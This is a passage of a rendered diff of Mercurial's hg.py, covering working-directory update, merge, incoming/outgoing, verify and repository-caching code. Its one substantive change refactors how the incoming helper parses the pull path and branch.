1091 force=overwrite,
1091 force=overwrite,
1092 labels=[b'working copy', b'destination'],
1092 labels=[b'working copy', b'destination'],
1093 updatecheck=updatecheck,
1093 updatecheck=updatecheck,
1094 )
1094 )
1095
1095
1096
1096
1097 def update(repo, node, quietempty=False, updatecheck=None):
1097 def update(repo, node, quietempty=False, updatecheck=None):
1098 """update the working directory to node"""
1098 """update the working directory to node"""
1099 stats = mergemod.update(repo[node], updatecheck=updatecheck)
1099 stats = mergemod.update(repo[node], updatecheck=updatecheck)
1100 _showstats(repo, stats, quietempty)
1100 _showstats(repo, stats, quietempty)
1101 if stats.unresolvedcount:
1101 if stats.unresolvedcount:
1102 repo.ui.status(_(b"use 'hg resolve' to retry unresolved file merges\n"))
1102 repo.ui.status(_(b"use 'hg resolve' to retry unresolved file merges\n"))
1103 return stats.unresolvedcount > 0
1103 return stats.unresolvedcount > 0
1104
1104
1105
1105
1106 # naming conflict in clone()
1106 # naming conflict in clone()
1107 _update = update
1107 _update = update
1108
1108
1109
1109
1110 def clean(repo, node, show_stats=True, quietempty=False):
1110 def clean(repo, node, show_stats=True, quietempty=False):
1111 """forcibly switch the working directory to node, clobbering changes"""
1111 """forcibly switch the working directory to node, clobbering changes"""
1112 stats = mergemod.clean_update(repo[node])
1112 stats = mergemod.clean_update(repo[node])
1113 assert stats.unresolvedcount == 0
1113 assert stats.unresolvedcount == 0
1114 if show_stats:
1114 if show_stats:
1115 _showstats(repo, stats, quietempty)
1115 _showstats(repo, stats, quietempty)
1116 return False
1116 return False
1117
1117
1118
1118
1119 # naming conflict in updatetotally()
1119 # naming conflict in updatetotally()
1120 _clean = clean
1120 _clean = clean
1121
1121
1122 _VALID_UPDATECHECKS = {
1122 _VALID_UPDATECHECKS = {
1123 mergemod.UPDATECHECK_ABORT,
1123 mergemod.UPDATECHECK_ABORT,
1124 mergemod.UPDATECHECK_NONE,
1124 mergemod.UPDATECHECK_NONE,
1125 mergemod.UPDATECHECK_LINEAR,
1125 mergemod.UPDATECHECK_LINEAR,
1126 mergemod.UPDATECHECK_NO_CONFLICT,
1126 mergemod.UPDATECHECK_NO_CONFLICT,
1127 }
1127 }
1128
1128
1129
1129
1130 def updatetotally(ui, repo, checkout, brev, clean=False, updatecheck=None):
1130 def updatetotally(ui, repo, checkout, brev, clean=False, updatecheck=None):
1131 """Update the working directory with extra care for non-file components
1131 """Update the working directory with extra care for non-file components
1132
1132
1133 This takes care of non-file components below:
1133 This takes care of non-file components below:
1134
1134
1135 :bookmark: might be advanced or (in)activated
1135 :bookmark: might be advanced or (in)activated
1136
1136
1137 This takes arguments below:
1137 This takes arguments below:
1138
1138
1139 :checkout: to which revision the working directory is updated
1139 :checkout: to which revision the working directory is updated
1140 :brev: a name, which might be a bookmark to be activated after updating
1140 :brev: a name, which might be a bookmark to be activated after updating
1141 :clean: whether changes in the working directory can be discarded
1141 :clean: whether changes in the working directory can be discarded
1142 :updatecheck: how to deal with a dirty working directory
1142 :updatecheck: how to deal with a dirty working directory
1143
1143
1144 Valid values for updatecheck are the UPDATECHECK_* constants
1144 Valid values for updatecheck are the UPDATECHECK_* constants
1145 defined in the merge module. Passing `None` will result in using the
1145 defined in the merge module. Passing `None` will result in using the
1146 configured default.
1146 configured default.
1147
1147
1148 * ABORT: abort if the working directory is dirty
1148 * ABORT: abort if the working directory is dirty
1149 * NONE: don't check (merge working directory changes into destination)
1149 * NONE: don't check (merge working directory changes into destination)
1150 * LINEAR: check that update is linear before merging working directory
1150 * LINEAR: check that update is linear before merging working directory
1151 changes into destination
1151 changes into destination
1152 * NO_CONFLICT: check that the update does not result in file merges
1152 * NO_CONFLICT: check that the update does not result in file merges
1153
1153
1154 This returns whether conflict is detected at updating or not.
1154 This returns whether conflict is detected at updating or not.
1155 """
1155 """
1156 if updatecheck is None:
1156 if updatecheck is None:
1157 updatecheck = ui.config(b'commands', b'update.check')
1157 updatecheck = ui.config(b'commands', b'update.check')
1158 if updatecheck not in _VALID_UPDATECHECKS:
1158 if updatecheck not in _VALID_UPDATECHECKS:
1159 # If not configured, or invalid value configured
1159 # If not configured, or invalid value configured
1160 updatecheck = mergemod.UPDATECHECK_LINEAR
1160 updatecheck = mergemod.UPDATECHECK_LINEAR
1161 if updatecheck not in _VALID_UPDATECHECKS:
1161 if updatecheck not in _VALID_UPDATECHECKS:
1162 raise ValueError(
1162 raise ValueError(
1163 r'Invalid updatecheck value %r (can accept %r)'
1163 r'Invalid updatecheck value %r (can accept %r)'
1164 % (updatecheck, _VALID_UPDATECHECKS)
1164 % (updatecheck, _VALID_UPDATECHECKS)
1165 )
1165 )
1166 with repo.wlock():
1166 with repo.wlock():
1167 movemarkfrom = None
1167 movemarkfrom = None
1168 warndest = False
1168 warndest = False
1169 if checkout is None:
1169 if checkout is None:
1170 updata = destutil.destupdate(repo, clean=clean)
1170 updata = destutil.destupdate(repo, clean=clean)
1171 checkout, movemarkfrom, brev = updata
1171 checkout, movemarkfrom, brev = updata
1172 warndest = True
1172 warndest = True
1173
1173
1174 if clean:
1174 if clean:
1175 ret = _clean(repo, checkout)
1175 ret = _clean(repo, checkout)
1176 else:
1176 else:
1177 if updatecheck == mergemod.UPDATECHECK_ABORT:
1177 if updatecheck == mergemod.UPDATECHECK_ABORT:
1178 cmdutil.bailifchanged(repo, merge=False)
1178 cmdutil.bailifchanged(repo, merge=False)
1179 updatecheck = mergemod.UPDATECHECK_NONE
1179 updatecheck = mergemod.UPDATECHECK_NONE
1180 ret = _update(repo, checkout, updatecheck=updatecheck)
1180 ret = _update(repo, checkout, updatecheck=updatecheck)
1181
1181
1182 if not ret and movemarkfrom:
1182 if not ret and movemarkfrom:
1183 if movemarkfrom == repo[b'.'].node():
1183 if movemarkfrom == repo[b'.'].node():
1184 pass # no-op update
1184 pass # no-op update
1185 elif bookmarks.update(repo, [movemarkfrom], repo[b'.'].node()):
1185 elif bookmarks.update(repo, [movemarkfrom], repo[b'.'].node()):
1186 b = ui.label(repo._activebookmark, b'bookmarks.active')
1186 b = ui.label(repo._activebookmark, b'bookmarks.active')
1187 ui.status(_(b"updating bookmark %s\n") % b)
1187 ui.status(_(b"updating bookmark %s\n") % b)
1188 else:
1188 else:
1189 # this can happen with a non-linear update
1189 # this can happen with a non-linear update
1190 b = ui.label(repo._activebookmark, b'bookmarks')
1190 b = ui.label(repo._activebookmark, b'bookmarks')
1191 ui.status(_(b"(leaving bookmark %s)\n") % b)
1191 ui.status(_(b"(leaving bookmark %s)\n") % b)
1192 bookmarks.deactivate(repo)
1192 bookmarks.deactivate(repo)
1193 elif brev in repo._bookmarks:
1193 elif brev in repo._bookmarks:
1194 if brev != repo._activebookmark:
1194 if brev != repo._activebookmark:
1195 b = ui.label(brev, b'bookmarks.active')
1195 b = ui.label(brev, b'bookmarks.active')
1196 ui.status(_(b"(activating bookmark %s)\n") % b)
1196 ui.status(_(b"(activating bookmark %s)\n") % b)
1197 bookmarks.activate(repo, brev)
1197 bookmarks.activate(repo, brev)
1198 elif brev:
1198 elif brev:
1199 if repo._activebookmark:
1199 if repo._activebookmark:
1200 b = ui.label(repo._activebookmark, b'bookmarks')
1200 b = ui.label(repo._activebookmark, b'bookmarks')
1201 ui.status(_(b"(leaving bookmark %s)\n") % b)
1201 ui.status(_(b"(leaving bookmark %s)\n") % b)
1202 bookmarks.deactivate(repo)
1202 bookmarks.deactivate(repo)
1203
1203
1204 if warndest:
1204 if warndest:
1205 destutil.statusotherdests(ui, repo)
1205 destutil.statusotherdests(ui, repo)
1206
1206
1207 return ret
1207 return ret
1208
1208
1209
1209
1210 def merge(
1210 def merge(
1211 ctx,
1211 ctx,
1212 force=False,
1212 force=False,
1213 remind=True,
1213 remind=True,
1214 labels=None,
1214 labels=None,
1215 ):
1215 ):
1216 """Branch merge with node, resolving changes. Return true if any
1216 """Branch merge with node, resolving changes. Return true if any
1217 unresolved conflicts."""
1217 unresolved conflicts."""
1218 repo = ctx.repo()
1218 repo = ctx.repo()
1219 stats = mergemod.merge(ctx, force=force, labels=labels)
1219 stats = mergemod.merge(ctx, force=force, labels=labels)
1220 _showstats(repo, stats)
1220 _showstats(repo, stats)
1221 if stats.unresolvedcount:
1221 if stats.unresolvedcount:
1222 repo.ui.status(
1222 repo.ui.status(
1223 _(
1223 _(
1224 b"use 'hg resolve' to retry unresolved file merges "
1224 b"use 'hg resolve' to retry unresolved file merges "
1225 b"or 'hg merge --abort' to abandon\n"
1225 b"or 'hg merge --abort' to abandon\n"
1226 )
1226 )
1227 )
1227 )
1228 elif remind:
1228 elif remind:
1229 repo.ui.status(_(b"(branch merge, don't forget to commit)\n"))
1229 repo.ui.status(_(b"(branch merge, don't forget to commit)\n"))
1230 return stats.unresolvedcount > 0
1230 return stats.unresolvedcount > 0
1231
1231
1232
1232
1233 def abortmerge(ui, repo):
1233 def abortmerge(ui, repo):
1234 ms = mergestatemod.mergestate.read(repo)
1234 ms = mergestatemod.mergestate.read(repo)
1235 if ms.active():
1235 if ms.active():
1236 # there were conflicts
1236 # there were conflicts
1237 node = ms.localctx.hex()
1237 node = ms.localctx.hex()
1238 else:
1238 else:
1239 # there were no conficts, mergestate was not stored
1239 # there were no conficts, mergestate was not stored
1240 node = repo[b'.'].hex()
1240 node = repo[b'.'].hex()
1241
1241
1242 repo.ui.status(_(b"aborting the merge, updating back to %s\n") % node[:12])
1242 repo.ui.status(_(b"aborting the merge, updating back to %s\n") % node[:12])
1243 stats = mergemod.clean_update(repo[node])
1243 stats = mergemod.clean_update(repo[node])
1244 assert stats.unresolvedcount == 0
1244 assert stats.unresolvedcount == 0
1245 _showstats(repo, stats)
1245 _showstats(repo, stats)
1246
1246
1247
1247
1248 def _incoming(
1248 def _incoming(
1249 displaychlist,
1249 displaychlist,
1250 subreporecurse,
1250 subreporecurse,
1251 ui,
1251 ui,
1252 repo,
1252 repo,
1253 source,
1253 source,
1254 opts,
1254 opts,
1255 buffered=False,
1255 buffered=False,
1256 subpath=None,
1256 subpath=None,
1257 ):
1257 ):
1258 """
1258 """
1259 Helper for incoming / gincoming.
1259 Helper for incoming / gincoming.
1260 displaychlist gets called with
1260 displaychlist gets called with
1261 (remoterepo, incomingchangesetlist, displayer) parameters,
1261 (remoterepo, incomingchangesetlist, displayer) parameters,
1262 and is supposed to contain only code that can't be unified.
1262 and is supposed to contain only code that can't be unified.
1263 """
1263 """
1264 srcs = urlutil.get_pull_paths(repo, ui, [source], opts.get(b'branch'))
1264 srcs = urlutil.get_pull_paths(repo, ui, [source])
1265 srcs = list(srcs)
1265 srcs = list(srcs)
1266 if len(srcs) != 1:
1266 if len(srcs) != 1:
1267 msg = _(b'for now, incoming supports only a single source, %d provided')
1267 msg = _(b'for now, incoming supports only a single source, %d provided')
1268 msg %= len(srcs)
1268 msg %= len(srcs)
1269 raise error.Abort(msg)
1269 raise error.Abort(msg)
1270 source, branches = srcs[0]
1270 path = srcs[0]
1271 source, branches = urlutil.parseurl(path.rawloc, opts.get(b'branch'))
1271 if subpath is not None:
1272 if subpath is not None:
1272 subpath = urlutil.url(subpath)
1273 subpath = urlutil.url(subpath)
1273 if subpath.isabs():
1274 if subpath.isabs():
1274 source = bytes(subpath)
1275 source = bytes(subpath)
1275 else:
1276 else:
1276 p = urlutil.url(source)
1277 p = urlutil.url(source)
1277 p.path = os.path.normpath(b'%s/%s' % (p.path, subpath))
1278 p.path = os.path.normpath(b'%s/%s' % (p.path, subpath))
1278 source = bytes(p)
1279 source = bytes(p)
1279 other = peer(repo, opts, source)
1280 other = peer(repo, opts, source)
1280 cleanupfn = other.close
1281 cleanupfn = other.close
1281 try:
1282 try:
1282 ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(source))
1283 ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(source))
1283 revs, checkout = addbranchrevs(repo, other, branches, opts.get(b'rev'))
1284 revs, checkout = addbranchrevs(repo, other, branches, opts.get(b'rev'))
1284
1285
1285 if revs:
1286 if revs:
1286 revs = [other.lookup(rev) for rev in revs]
1287 revs = [other.lookup(rev) for rev in revs]
1287 other, chlist, cleanupfn = bundlerepo.getremotechanges(
1288 other, chlist, cleanupfn = bundlerepo.getremotechanges(
1288 ui, repo, other, revs, opts.get(b"bundle"), opts.get(b"force")
1289 ui, repo, other, revs, opts.get(b"bundle"), opts.get(b"force")
1289 )
1290 )
1290
1291
1291 if not chlist:
1292 if not chlist:
1292 ui.status(_(b"no changes found\n"))
1293 ui.status(_(b"no changes found\n"))
1293 return subreporecurse()
1294 return subreporecurse()
1294 ui.pager(b'incoming')
1295 ui.pager(b'incoming')
1295 displayer = logcmdutil.changesetdisplayer(
1296 displayer = logcmdutil.changesetdisplayer(
1296 ui, other, opts, buffered=buffered
1297 ui, other, opts, buffered=buffered
1297 )
1298 )
1298 displaychlist(other, chlist, displayer)
1299 displaychlist(other, chlist, displayer)
1299 displayer.close()
1300 displayer.close()
1300 finally:
1301 finally:
1301 cleanupfn()
1302 cleanupfn()
1302 subreporecurse()
1303 subreporecurse()
1303 return 0 # exit code is zero since we found incoming changes
1304 return 0 # exit code is zero since we found incoming changes
1304
1305
1305
1306
1306 def incoming(ui, repo, source, opts, subpath=None):
1307 def incoming(ui, repo, source, opts, subpath=None):
1307 def subreporecurse():
1308 def subreporecurse():
1308 ret = 1
1309 ret = 1
1309 if opts.get(b'subrepos'):
1310 if opts.get(b'subrepos'):
1310 ctx = repo[None]
1311 ctx = repo[None]
1311 for subpath in sorted(ctx.substate):
1312 for subpath in sorted(ctx.substate):
1312 sub = ctx.sub(subpath)
1313 sub = ctx.sub(subpath)
1313 ret = min(ret, sub.incoming(ui, source, opts))
1314 ret = min(ret, sub.incoming(ui, source, opts))
1314 return ret
1315 return ret
1315
1316
1316 def display(other, chlist, displayer):
1317 def display(other, chlist, displayer):
1317 limit = logcmdutil.getlimit(opts)
1318 limit = logcmdutil.getlimit(opts)
1318 if opts.get(b'newest_first'):
1319 if opts.get(b'newest_first'):
1319 chlist.reverse()
1320 chlist.reverse()
1320 count = 0
1321 count = 0
1321 for n in chlist:
1322 for n in chlist:
1322 if limit is not None and count >= limit:
1323 if limit is not None and count >= limit:
1323 break
1324 break
1324 parents = [
1325 parents = [
1325 p for p in other.changelog.parents(n) if p != repo.nullid
1326 p for p in other.changelog.parents(n) if p != repo.nullid
1326 ]
1327 ]
1327 if opts.get(b'no_merges') and len(parents) == 2:
1328 if opts.get(b'no_merges') and len(parents) == 2:
1328 continue
1329 continue
1329 count += 1
1330 count += 1
1330 displayer.show(other[n])
1331 displayer.show(other[n])
1331
1332
1332 return _incoming(
1333 return _incoming(
1333 display, subreporecurse, ui, repo, source, opts, subpath=subpath
1334 display, subreporecurse, ui, repo, source, opts, subpath=subpath
1334 )
1335 )
1335
1336
1336
1337
1337 def _outgoing(ui, repo, dests, opts, subpath=None):
1338 def _outgoing(ui, repo, dests, opts, subpath=None):
1338 out = set()
1339 out = set()
1339 others = []
1340 others = []
1340 for path in urlutil.get_push_paths(repo, ui, dests):
1341 for path in urlutil.get_push_paths(repo, ui, dests):
1341 dest = path.pushloc or path.loc
1342 dest = path.pushloc or path.loc
1342 if subpath is not None:
1343 if subpath is not None:
1343 subpath = urlutil.url(subpath)
1344 subpath = urlutil.url(subpath)
1344 if subpath.isabs():
1345 if subpath.isabs():
1345 dest = bytes(subpath)
1346 dest = bytes(subpath)
1346 else:
1347 else:
1347 p = urlutil.url(dest)
1348 p = urlutil.url(dest)
1348 p.path = os.path.normpath(b'%s/%s' % (p.path, subpath))
1349 p.path = os.path.normpath(b'%s/%s' % (p.path, subpath))
1349 dest = bytes(p)
1350 dest = bytes(p)
1350 branches = path.branch, opts.get(b'branch') or []
1351 branches = path.branch, opts.get(b'branch') or []
1351
1352
1352 ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(dest))
1353 ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(dest))
1353 revs, checkout = addbranchrevs(repo, repo, branches, opts.get(b'rev'))
1354 revs, checkout = addbranchrevs(repo, repo, branches, opts.get(b'rev'))
1354 if revs:
1355 if revs:
1355 revs = [repo[rev].node() for rev in logcmdutil.revrange(repo, revs)]
1356 revs = [repo[rev].node() for rev in logcmdutil.revrange(repo, revs)]
1356
1357
1357 other = peer(repo, opts, dest)
1358 other = peer(repo, opts, dest)
1358 try:
1359 try:
1359 outgoing = discovery.findcommonoutgoing(
1360 outgoing = discovery.findcommonoutgoing(
1360 repo, other, revs, force=opts.get(b'force')
1361 repo, other, revs, force=opts.get(b'force')
1361 )
1362 )
1362 o = outgoing.missing
1363 o = outgoing.missing
1363 out.update(o)
1364 out.update(o)
1364 if not o:
1365 if not o:
1365 scmutil.nochangesfound(repo.ui, repo, outgoing.excluded)
1366 scmutil.nochangesfound(repo.ui, repo, outgoing.excluded)
1366 others.append(other)
1367 others.append(other)
1367 except: # re-raises
1368 except: # re-raises
1368 other.close()
1369 other.close()
1369 raise
1370 raise
1370 # make sure this is ordered by revision number
1371 # make sure this is ordered by revision number
1371 outgoing_revs = list(out)
1372 outgoing_revs = list(out)
1372 cl = repo.changelog
1373 cl = repo.changelog
1373 outgoing_revs.sort(key=cl.rev)
1374 outgoing_revs.sort(key=cl.rev)
1374 return outgoing_revs, others
1375 return outgoing_revs, others
1375
1376
1376
1377
1377 def _outgoing_recurse(ui, repo, dests, opts):
1378 def _outgoing_recurse(ui, repo, dests, opts):
1378 ret = 1
1379 ret = 1
1379 if opts.get(b'subrepos'):
1380 if opts.get(b'subrepos'):
1380 ctx = repo[None]
1381 ctx = repo[None]
1381 for subpath in sorted(ctx.substate):
1382 for subpath in sorted(ctx.substate):
1382 sub = ctx.sub(subpath)
1383 sub = ctx.sub(subpath)
1383 ret = min(ret, sub.outgoing(ui, dests, opts))
1384 ret = min(ret, sub.outgoing(ui, dests, opts))
1384 return ret
1385 return ret
1385
1386
1386
1387
1387 def _outgoing_filter(repo, revs, opts):
1388 def _outgoing_filter(repo, revs, opts):
1388 """apply revision filtering/ordering option for outgoing"""
1389 """apply revision filtering/ordering option for outgoing"""
1389 limit = logcmdutil.getlimit(opts)
1390 limit = logcmdutil.getlimit(opts)
1390 no_merges = opts.get(b'no_merges')
1391 no_merges = opts.get(b'no_merges')
1391 if opts.get(b'newest_first'):
1392 if opts.get(b'newest_first'):
1392 revs.reverse()
1393 revs.reverse()
1393 if limit is None and not no_merges:
1394 if limit is None and not no_merges:
1394 for r in revs:
1395 for r in revs:
1395 yield r
1396 yield r
1396 return
1397 return
1397
1398
1398 count = 0
1399 count = 0
1399 cl = repo.changelog
1400 cl = repo.changelog
1400 for n in revs:
1401 for n in revs:
1401 if limit is not None and count >= limit:
1402 if limit is not None and count >= limit:
1402 break
1403 break
1403 parents = [p for p in cl.parents(n) if p != repo.nullid]
1404 parents = [p for p in cl.parents(n) if p != repo.nullid]
1404 if no_merges and len(parents) == 2:
1405 if no_merges and len(parents) == 2:
1405 continue
1406 continue
1406 count += 1
1407 count += 1
1407 yield n
1408 yield n
1408
1409
1409
1410
1410 def outgoing(ui, repo, dests, opts, subpath=None):
1411 def outgoing(ui, repo, dests, opts, subpath=None):
1411 if opts.get(b'graph'):
1412 if opts.get(b'graph'):
1412 logcmdutil.checkunsupportedgraphflags([], opts)
1413 logcmdutil.checkunsupportedgraphflags([], opts)
1413 o, others = _outgoing(ui, repo, dests, opts, subpath=subpath)
1414 o, others = _outgoing(ui, repo, dests, opts, subpath=subpath)
1414 ret = 1
1415 ret = 1
1415 try:
1416 try:
1416 if o:
1417 if o:
1417 ret = 0
1418 ret = 0
1418
1419
1419 if opts.get(b'graph'):
1420 if opts.get(b'graph'):
1420 revdag = logcmdutil.graphrevs(repo, o, opts)
1421 revdag = logcmdutil.graphrevs(repo, o, opts)
1421 ui.pager(b'outgoing')
1422 ui.pager(b'outgoing')
1422 displayer = logcmdutil.changesetdisplayer(
1423 displayer = logcmdutil.changesetdisplayer(
1423 ui, repo, opts, buffered=True
1424 ui, repo, opts, buffered=True
1424 )
1425 )
1425 logcmdutil.displaygraph(
1426 logcmdutil.displaygraph(
1426 ui, repo, revdag, displayer, graphmod.asciiedges
1427 ui, repo, revdag, displayer, graphmod.asciiedges
1427 )
1428 )
1428 else:
1429 else:
1429 ui.pager(b'outgoing')
1430 ui.pager(b'outgoing')
1430 displayer = logcmdutil.changesetdisplayer(ui, repo, opts)
1431 displayer = logcmdutil.changesetdisplayer(ui, repo, opts)
1431 for n in _outgoing_filter(repo, o, opts):
1432 for n in _outgoing_filter(repo, o, opts):
1432 displayer.show(repo[n])
1433 displayer.show(repo[n])
1433 displayer.close()
1434 displayer.close()
1434 for oth in others:
1435 for oth in others:
1435 cmdutil.outgoinghooks(ui, repo, oth, opts, o)
1436 cmdutil.outgoinghooks(ui, repo, oth, opts, o)
1436 ret = min(ret, _outgoing_recurse(ui, repo, dests, opts))
1437 ret = min(ret, _outgoing_recurse(ui, repo, dests, opts))
1437 return ret # exit code is zero since we found outgoing changes
1438 return ret # exit code is zero since we found outgoing changes
1438 finally:
1439 finally:
1439 for oth in others:
1440 for oth in others:
1440 oth.close()
1441 oth.close()
1441
1442
1442
1443
1443 def verify(repo, level=None):
1444 def verify(repo, level=None):
1444 """verify the consistency of a repository"""
1445 """verify the consistency of a repository"""
1445 ret = verifymod.verify(repo, level=level)
1446 ret = verifymod.verify(repo, level=level)
1446
1447
1447 # Broken subrepo references in hidden csets don't seem worth worrying about,
1448 # Broken subrepo references in hidden csets don't seem worth worrying about,
1448 # since they can't be pushed/pulled, and --hidden can be used if they are a
1449 # since they can't be pushed/pulled, and --hidden can be used if they are a
1449 # concern.
1450 # concern.
1450
1451
1451 # pathto() is needed for -R case
1452 # pathto() is needed for -R case
1452 revs = repo.revs(
1453 revs = repo.revs(
1453 b"filelog(%s)", util.pathto(repo.root, repo.getcwd(), b'.hgsubstate')
1454 b"filelog(%s)", util.pathto(repo.root, repo.getcwd(), b'.hgsubstate')
1454 )
1455 )
1455
1456
1456 if revs:
1457 if revs:
1457 repo.ui.status(_(b'checking subrepo links\n'))
1458 repo.ui.status(_(b'checking subrepo links\n'))
1458 for rev in revs:
1459 for rev in revs:
1459 ctx = repo[rev]
1460 ctx = repo[rev]
1460 try:
1461 try:
1461 for subpath in ctx.substate:
1462 for subpath in ctx.substate:
1462 try:
1463 try:
1463 ret = (
1464 ret = (
1464 ctx.sub(subpath, allowcreate=False).verify() or ret
1465 ctx.sub(subpath, allowcreate=False).verify() or ret
1465 )
1466 )
1466 except error.RepoError as e:
1467 except error.RepoError as e:
1467 repo.ui.warn(b'%d: %s\n' % (rev, e))
1468 repo.ui.warn(b'%d: %s\n' % (rev, e))
1468 except Exception:
1469 except Exception:
1469 repo.ui.warn(
1470 repo.ui.warn(
1470 _(b'.hgsubstate is corrupt in revision %s\n')
1471 _(b'.hgsubstate is corrupt in revision %s\n')
1471 % short(ctx.node())
1472 % short(ctx.node())
1472 )
1473 )
1473
1474
1474 return ret
1475 return ret
1475
1476
1476
1477
1477 def remoteui(src, opts):
1478 def remoteui(src, opts):
1478 """build a remote ui from ui or repo and opts"""
1479 """build a remote ui from ui or repo and opts"""
1479 if util.safehasattr(src, b'baseui'): # looks like a repository
1480 if util.safehasattr(src, b'baseui'): # looks like a repository
1480 dst = src.baseui.copy() # drop repo-specific config
1481 dst = src.baseui.copy() # drop repo-specific config
1481 src = src.ui # copy target options from repo
1482 src = src.ui # copy target options from repo
1482 else: # assume it's a global ui object
1483 else: # assume it's a global ui object
1483 dst = src.copy() # keep all global options
1484 dst = src.copy() # keep all global options
1484
1485
1485 # copy ssh-specific options
1486 # copy ssh-specific options
1486 for o in b'ssh', b'remotecmd':
1487 for o in b'ssh', b'remotecmd':
1487 v = opts.get(o) or src.config(b'ui', o)
1488 v = opts.get(o) or src.config(b'ui', o)
1488 if v:
1489 if v:
1489 dst.setconfig(b"ui", o, v, b'copied')
1490 dst.setconfig(b"ui", o, v, b'copied')
1490
1491
1491 # copy bundle-specific options
1492 # copy bundle-specific options
1492 r = src.config(b'bundle', b'mainreporoot')
1493 r = src.config(b'bundle', b'mainreporoot')
1493 if r:
1494 if r:
1494 dst.setconfig(b'bundle', b'mainreporoot', r, b'copied')
1495 dst.setconfig(b'bundle', b'mainreporoot', r, b'copied')
1495
1496
1496 # copy selected local settings to the remote ui
1497 # copy selected local settings to the remote ui
1497 for sect in (b'auth', b'hostfingerprints', b'hostsecurity', b'http_proxy'):
1498 for sect in (b'auth', b'hostfingerprints', b'hostsecurity', b'http_proxy'):
1498 for key, val in src.configitems(sect):
1499 for key, val in src.configitems(sect):
1499 dst.setconfig(sect, key, val, b'copied')
1500 dst.setconfig(sect, key, val, b'copied')
1500 v = src.config(b'web', b'cacerts')
1501 v = src.config(b'web', b'cacerts')
1501 if v:
1502 if v:
1502 dst.setconfig(b'web', b'cacerts', util.expandpath(v), b'copied')
1503 dst.setconfig(b'web', b'cacerts', util.expandpath(v), b'copied')
1503
1504
1504 return dst
1505 return dst
1505
1506
1506
1507
1507 # Files of interest
1508 # Files of interest
1508 # Used to check if the repository has changed looking at mtime and size of
1509 # Used to check if the repository has changed looking at mtime and size of
1509 # these files.
1510 # these files.
1510 foi = [
1511 foi = [
1511 (b'spath', b'00changelog.i'),
1512 (b'spath', b'00changelog.i'),
1512 (b'spath', b'phaseroots'), # ! phase can change content at the same size
1513 (b'spath', b'phaseroots'), # ! phase can change content at the same size
1513 (b'spath', b'obsstore'),
1514 (b'spath', b'obsstore'),
1514 (b'path', b'bookmarks'), # ! bookmark can change content at the same size
1515 (b'path', b'bookmarks'), # ! bookmark can change content at the same size
1515 ]
1516 ]
1516
1517
1517
1518
1518 class cachedlocalrepo(object):
1519 class cachedlocalrepo(object):
1519 """Holds a localrepository that can be cached and reused."""
1520 """Holds a localrepository that can be cached and reused."""
1520
1521
1521 def __init__(self, repo):
1522 def __init__(self, repo):
1522 """Create a new cached repo from an existing repo.
1523 """Create a new cached repo from an existing repo.
1523
1524
1524 We assume the passed in repo was recently created. If the
1525 We assume the passed in repo was recently created. If the
1525 repo has changed between when it was created and when it was
1526 repo has changed between when it was created and when it was
1526 turned into a cache, it may not refresh properly.
1527 turned into a cache, it may not refresh properly.
1527 """
1528 """
1528 assert isinstance(repo, localrepo.localrepository)
1529 assert isinstance(repo, localrepo.localrepository)
1529 self._repo = repo
1530 self._repo = repo
1530 self._state, self.mtime = self._repostate()
1531 self._state, self.mtime = self._repostate()
1531 self._filtername = repo.filtername
1532 self._filtername = repo.filtername
1532
1533
1533 def fetch(self):
1534 def fetch(self):
1534 """Refresh (if necessary) and return a repository.
1535 """Refresh (if necessary) and return a repository.
1535
1536
1536 If the cached instance is out of date, it will be recreated
1537 If the cached instance is out of date, it will be recreated
1537 automatically and returned.
1538 automatically and returned.
1538
1539
1539 Returns a tuple of the repo and a boolean indicating whether a new
1540 Returns a tuple of the repo and a boolean indicating whether a new
1540 repo instance was created.
1541 repo instance was created.
1541 """
1542 """
1542 # We compare the mtimes and sizes of some well-known files to
1543 # We compare the mtimes and sizes of some well-known files to
1543 # determine if the repo changed. This is not precise, as mtimes
1544 # determine if the repo changed. This is not precise, as mtimes
1544 # are susceptible to clock skew and imprecise filesystems and
1545 # are susceptible to clock skew and imprecise filesystems and
1545 # file content can change while maintaining the same size.
1546 # file content can change while maintaining the same size.
1546
1547
1547 state, mtime = self._repostate()
1548 state, mtime = self._repostate()
1548 if state == self._state:
1549 if state == self._state:
1549 return self._repo, False
1550 return self._repo, False
1550
1551
1551 repo = repository(self._repo.baseui, self._repo.url())
1552 repo = repository(self._repo.baseui, self._repo.url())
1552 if self._filtername:
1553 if self._filtername:
1553 self._repo = repo.filtered(self._filtername)
1554 self._repo = repo.filtered(self._filtername)
1554 else:
1555 else:
1555 self._repo = repo.unfiltered()
1556 self._repo = repo.unfiltered()
1556 self._state = state
1557 self._state = state
1557 self.mtime = mtime
1558 self.mtime = mtime
1558
1559
1559 return self._repo, True
1560 return self._repo, True
1560
1561
1561 def _repostate(self):
1562 def _repostate(self):
1562 state = []
1563 state = []
1563 maxmtime = -1
1564 maxmtime = -1
1564 for attr, fname in foi:
1565 for attr, fname in foi:
1565 prefix = getattr(self._repo, attr)
1566 prefix = getattr(self._repo, attr)
1566 p = os.path.join(prefix, fname)
1567 p = os.path.join(prefix, fname)
1567 try:
1568 try:
1568 st = os.stat(p)
1569 st = os.stat(p)
1569 except OSError:
1570 except OSError:
1570 st = os.stat(prefix)
1571 st = os.stat(prefix)
1571 state.append((st[stat.ST_MTIME], st.st_size))
1572 state.append((st[stat.ST_MTIME], st.st_size))
1572 maxmtime = max(maxmtime, st[stat.ST_MTIME])
1573 maxmtime = max(maxmtime, st[stat.ST_MTIME])
1573
1574
1574 return tuple(state), maxmtime
1575 return tuple(state), maxmtime
1575
1576
1576 def copy(self):
1577 def copy(self):
1577 """Obtain a copy of this class instance.
1578 """Obtain a copy of this class instance.
1578
1579
1579 A new localrepository instance is obtained. The new instance should be
1580 A new localrepository instance is obtained. The new instance should be
1580 completely independent of the original.
1581 completely independent of the original.
1581 """
1582 """
1582 repo = repository(self._repo.baseui, self._repo.origroot)
1583 repo = repository(self._repo.baseui, self._repo.origroot)
1583 if self._filtername:
1584 if self._filtername:
1584 repo = repo.filtered(self._filtername)
1585 repo = repo.filtered(self._filtername)
1585 else:
1586 else:
1586 repo = repo.unfiltered()
1587 repo = repo.unfiltered()
1587 c = cachedlocalrepo(repo)
1588 c = cachedlocalrepo(repo)
1588 c._state = self._state
1589 c._state = self._state
1589 c.mtime = self.mtime
1590 c.mtime = self.mtime
1590 return c
1591 return c
@@ -1,930 +1,930 b''
1 # utils.urlutil - code related to [paths] management
1 # utils.urlutil - code related to [paths] management
2 #
2 #
